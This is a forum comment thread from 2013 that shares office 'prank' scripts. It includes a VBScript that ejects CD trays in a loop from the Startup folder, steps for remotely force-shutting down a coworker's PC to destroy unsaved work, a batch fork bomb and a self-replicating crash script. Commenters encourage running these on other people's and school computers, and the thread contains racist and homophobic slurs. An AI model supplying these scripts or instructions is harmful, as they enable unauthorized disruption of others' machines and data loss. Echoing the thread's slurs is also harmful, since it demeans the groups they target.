wont 2 pinoy a cos-00sf f white sow?. . Work in an office? Want to annoy an colleague? Next Next End If 123993 lump. Here is the text, if someone wants to try it. Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection wscript.sleep 600000 do i
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User avatar #1 - lexxyc (12/01/2013) [-]
Here is the text, if someone wants to try it.

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
wscript.sleep 600000
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i= 0 to colCDROMs.Count -1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 120000
loop
User avatar #11 to #1 - qwarthos (12/02/2013) [-]
thank you buddy, I wouldn't have done it otherwise!
User avatar #95 to #1 - potatonized (12/02/2013) [-]
i dont like to wait that long to see my colleague slowly loses his mind.

so.....




Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
wscript.sleep 10000
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i= 0 to colCDROMs.Count -1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 10000
loop
User avatar #59 to #1 - smellingtomatoes (12/02/2013) [-]
this got more fav then thumbs.... god dammit ppl... you can atleast thumb it if you fav...
User avatar #65 to #1 - jbgotswag (12/02/2013) [-]
do anyone still have a cd tray today?
User avatar #68 to #65 - jbgotswag (12/02/2013) [-]
every one is using downloads now, **** cd trays
User avatar #67 to #65 - Dwarf (12/02/2013) [-]
What? Everyone should.
#58 to #1 - rakoom (12/02/2013) [-]
If people are too lazy to write it out themselves

chances are that they won't take the effort to try it out either.
User avatar #104 to #58 - dudeyouisnasty (12/02/2013) [-]
Yeah, I'm to lazy to write it out. I'm not joking on that. But im not lazy enough to copy it and run it on my own computer. (too lazy to go put it on my brothers computer.
#105 to #104 - rakoom (12/02/2013) [-]
You're halfway proving my point, halfway disproving it.

But only if you actually do it and make it work. Otherwise you'd be proving me right, fully.
User avatar #108 to #105 - dudeyouisnasty (12/03/2013) [-]
Well, I wasnt trying to prove anything. I was just stating that I dont want to get up to try it.
#111 to #108 - rakoom (12/03/2013) [-]
Which is exactly what I'm sayin'. The number of people who are actually gonna do it is fairly low.
User avatar #77 to #58 - zomitlu (12/02/2013) [-]
Time to write that out < Time to save it into another person's computer
#79 to #77 - rakoom (12/02/2013) [-]
Time to save it into another person's computer < Time to write it down, send it/carry it in a chip and write it down onto another person's system
User avatar #81 to #79 - zomitlu (12/02/2013) [-]
Prove it
#82 to #81 - rakoom (12/02/2013) [-]
Later.
#87 to #86 - zomitlu (12/02/2013) [-]
r u gay
#25 - jakols (12/02/2013) [-]
well well well...
finally a post on FJ that's right up my valley.
Most IT departments have logical names for their computers. like a floor prefix or a department prefix, and then a growing number for each computer. so it should be no problem guessing the computername to another computer in your domain.
if you really want to **** **** up, not a forkbomb or a eject script...

> go to CMD
> type shutdown /i (because its easier to use the GUI than typing the whole command)
> enter the name of the computer you wish to take out
> write a message (*eg. faggot-ass ****** )
> set a countdown time
> watch as they panic when the computer locks them out with a big message that goes eg. "your really ****** now faggot..." and the timer counts down to the inevitable shutdown or restart.
> watch them twist and cry when they watch hours of work that just went down the drain because most people are too ******* lazy to save their work every 10-15 minutes.
> feel their hopelessness
> taste their tears
> know for yourself ****** untraceable
> fap
User avatar #51 to #25 - youhei (12/02/2013) [-]
forkbomb?
User avatar #52 to #51 - jakols (12/02/2013) [-]
like making a .bat that opens 1 billion Calc.exe windows and putting it in the boot folder, rendering the computer useless
User avatar #62 to #52 - Buhadog (12/02/2013) [-]
unless they launch it in safe mode.
User avatar #53 to #52 - youhei (12/02/2013) [-]
niiice
#60 to #25 - chickenfajitas (12/02/2013) [-]
what do i have to write exactly to make this a reality?
User avatar #69 to #25 - clechyl (12/02/2013) [-]
the magic word is shutdown -a
User avatar #75 to #25 - utaelilya (12/02/2013) [-]
Every IT Office has to know that "shutdown /a" aborts the shutdown.

(Since we all learned that in IT school)
User avatar #101 to #75 - jakols (12/02/2013) [-]
but the users dont...

and good luck getting IT to come running to abort the **** in under 30 seconds
User avatar #29 to #25 - cousin (12/02/2013) [-]
Most IT people are not completely stupid and the use Group Policy Objects to lock down each computer...
User avatar #36 to #29 - jakols (12/02/2013) [-]
most IT people don't even consider activating this as a GPO, since
1.
the GPO interface is ridicules and confusing, so most people spend as little time as they can messing about in the GPO interface
2.
GPO's that would be able to black this is set on a User level and not a machine level. ergo after a restart you'd be able to pull it off before the GPO kicks in.
3.
Most people who work with IT consider they "associates"/ users more or less complete retards, so in most cases the thought of the users doing something this "technical" seems ridicules and therefore not a huge threat. ergo they wont even thing about making a GOP to block this...

Source:
I've been working in IT for years now, serving 800 users....
User avatar #109 to #36 - cousin (12/03/2013) [-]
1. I don't find the GPO interface confusing - it is just a bog-standard Windows interface they use for a lot of things.
2. The GPO takes effect when the users login?
3. I think that most of the users are retards, hence why I lock as much down as possible to prevent them doing damage.
User avatar #110 to #109 - cousin (12/03/2013) [-]
Source: working in IT for years also.
#43 to #25 - anon (12/02/2013) [-]
It might have a better impact on said person if "you're" was spelled correctly.
User avatar #26 to #25 - anthonyh (12/02/2013) [-]
That's just being a dick. This is a harmless prank that can be fixed, you're erasing someone's work.
#27 to #26 - jakols (12/02/2013) [-]
Well, clearly im being a dick...   
but that's kinda what keeps me employed at the IT department.   
if 			****		 actually worked perfect, and people didn't &quot;accidentally&quot; erase their work... i'd be out of a job
Well, clearly im being a dick...
but that's kinda what keeps me employed at the IT department.
if **** actually worked perfect, and people didn't "accidentally" erase their work... i'd be out of a job
User avatar #39 to #27 - lebarricuda (12/02/2013) [-]
"I'm a big mean virus, om nom nom, thanks for your documents, bitch"
User avatar #30 to #27 - mcbigballz (12/02/2013) [-]
Made me lawl. Have thumbs.
User avatar #7 - studbeefpile (12/02/2013) [-]
My brother did something similar to a display computer at a Costco, he entered a script that wouldn't allow you to close the window.
User avatar #23 to #7 - epicpahtater **User deleted account** (12/02/2013) [-]
still got the script? i have some trolling to do
User avatar #54 to #23 - studbeefpile (12/02/2013) [-]
He said he doesn't have it anymore, but it was just an "infinite alert loop" in java script. I don't know what the hell that means, but if you're tech savvy you might be able to figure it out I guess.
User avatar #15 - evilanakie (12/02/2013) [-]
my school computers have jammed trays
so i did this to them
now you can hear THUNK THUNK WHIR THUNK THUNK
after each computer thunks and whirs the next one thunks and splutters
User avatar #32 to #15 - playerdous (12/02/2013) [-]
This would be even more annoying in my opinion.
User avatar #33 to #32 - evilanakie (12/02/2013) [-]
exactly
User avatar #16 - I Am Monkey (12/02/2013) [-]
Instructions were not clear enough.
My dick got caught in the CD tray.
User avatar #45 to #16 - refreshingheroin (12/02/2013) [-]
lucky cunt, guess who has 2 hamsters. They grow back like worms right?
User avatar #70 to #16 - thewitchking (12/02/2013) [-]
Did you try setting it to Wumbo?
User avatar #46 to #16 - blended (12/02/2013) [-]
that joke is lamer than costumer jokes
#18 to #16 - u do wat to sheep (12/02/2013) [-]
The mighty spaces in our name master race!
User avatar #24 to #18 - AngryRedMidget (12/02/2013) [-]
Bah, I regret not spacing out my name when I made this account these days.
It's named after my WC3 account, which couldn't use spaces
User avatar #20 to #16 - funnyfuuuuuu (12/02/2013) [-]
Try turning your dick off then on again.
User avatar #76 - itachijebest (12/02/2013) [-]
thanks for the tip lightbulb, i'll sure try that
User avatar #93 to #76 - skeptical (12/02/2013) [-]
LUMP EVERYTHING
User avatar #66 - ImmortalBaconEater (12/02/2013) [-]
Honestly, I trust nothing posted in the comments right now.
#19 - riseandfightfj (12/02/2013) [-]
what is the start up folder? where can i find it.
#48 to #19 - anon (12/02/2013) [-]
in the start menu ? there is a folder called Startup, rightclick on that, and select open..
User avatar #22 - vladhellsing (12/02/2013) [-]
I did this. He just used it as a cup holder for the rest of the day.
User avatar #28 - psychedelegate (12/02/2013) [-]
I tried this on my computer to see if it worked. At first, my antivirus blocked it. But it worked after I allowed it to...
User avatar #31 to #28 - playerdous (12/02/2013) [-]
Well it was a neat idea at least.
User avatar #107 to #31 - psychedelegate (12/03/2013) [-]
I bet it would work on a computer with less effective antivirus software.
#56 - harleycurnow (12/02/2013) [-]
we need a bunch of these with explanations on what they do and how to stop them. Then we have the ingredients to create a USB stick of havok.
#40 - mastertarium (12/02/2013) [-]
I am going to use this for reasons....
#2 - hillbillypowpow ONLINE (12/02/2013) [-]
how do you fix it?
User avatar #3 to #2 - wickeda (12/02/2013) [-]
I would think if you removed the wscript.sleep 120000 and loop from the file, saved it and ran it once more it would alleviate the problem.
#4 to #2 - CraigChrist (12/02/2013) [-]
End the process? or Delete the file?
User avatar #17 to #2 - TheExile (12/02/2013) [-]
Just remove it (delete it) from the startup folder you put it in, and end the process using Task Manager (Ctr + Shift + Esc). If you can't find it running under your task manager for some reason (this happened to me, not a damn clue why it wasn't showing), you can always just restart your computer after removing the file from your startup folder.
User avatar #42 to #2 - tmgrskat (12/02/2013) [-]
delete the wscript.exe process
delete System 32
????
Profit
User avatar #72 to #2 - clechyl (12/02/2013) [-]
1. Unplug your computer / remove the battery
2. Open the case/unscrew the lid under the laptop
3. Take out the motherboard
4. Look for the transistor labeled CG93RAL74AA8271
5. With a small screwdriver, gently pierce the right side and slowly slide to the bottom.
6. Moisturize the cut with a small amount of vinegar.
7. Reassemble the computer.
8. Done!
#106 - anon (12/02/2013) [-]
Tried it myself and now it's been doing it all the time, first I was glad it worked, now feeling dumb since I pranked myself, please help

pls
User avatar #97 - cryingchicken (12/02/2013) [-]
>CD tray
>2013
#13 - RdRunner (12/02/2013) [-]
It is pretty annoying... I tried this awhile back and it worked pretty well, just make sure you figure out how to stop it before creating (and potentially accidentally running) the created file....
User avatar #14 to #13 - insaneguy (12/02/2013) [-]
...delete the file and kill the process, maybe?
#49 - bobthebean (12/02/2013) [-]
%0|%0

Put this in a batch file (.bat) Its hilarious.
User avatar #61 to #49 - explositationer (12/02/2013) [-]
I do not trust this... What happens?
User avatar #64 to #61 - tankeruber ONLINE (12/02/2013) [-]
It Overloads your computer and will ultimately make it crash.
User avatar #90 - uberderpyhooves (12/02/2013) [-]
@echo off
color 0a
echo OH GOD I AM NOT GOOD WITH COMPUTER
Pushd "%~dp0"
:faggots
title HOW COULD THIS HAPPEN
start blameitontheblacks.bat
goto faggots

Copy above into notepad.
Save as "blameitontheblacks.bat" sans quotes.
Open
Self-replicating file reopens itself until computer crashes!
#100 - bigstick (12/02/2013) [-]
My teacher deleted all my computer files ( games ) that I hid and my paint masterpieces, she rreally isnt clever on figuring out hising spots so Im hiding 200 copies of this in various thumbnails in the windows and all not so noticeable folders with only two of them being active
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